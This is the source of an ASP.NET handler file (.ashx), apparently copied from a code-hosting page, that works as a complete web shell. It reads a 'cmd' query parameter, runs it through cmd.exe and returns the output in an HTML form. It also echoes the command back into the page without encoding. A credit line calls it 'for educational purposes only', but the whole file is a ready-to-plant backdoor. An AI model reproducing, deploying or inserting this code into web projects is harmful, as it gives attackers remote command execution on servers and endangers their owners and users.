43 lines
1.4 KiB
Plaintext
43 lines
1.4 KiB
Plaintext
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<% @ webhandler language="C#" class="AverageHandler" %>
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using System;
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using System.Web;
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using System.Diagnostics;
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using System.IO;
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public class AverageHandler : IHttpHandler
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{
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/* .Net requires this to be implemented */
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public bool IsReusable
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{
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get { return true; }
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}
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/* main executing code */
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public void ProcessRequest(HttpContext ctx)
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{
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Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
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string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
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ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
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ctx.Response.Write("<hr>");
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ctx.Response.Write("<pre>");
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/* command execution and output retrieval */
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ProcessStartInfo psi = new ProcessStartInfo();
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psi.FileName = "cmd.exe";
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psi.Arguments = "/c "+command;
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psi.RedirectStandardOutput = true;
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psi.UseShellExecute = false;
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Process p = Process.Start(psi);
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StreamReader stmrdr = p.StandardOutput;
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string s = stmrdr.ReadToEnd();
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stmrdr.Close();
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ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
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ctx.Response.Write("</pre>");
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ctx.Response.Write("<hr>");
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ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only.");
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}
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}
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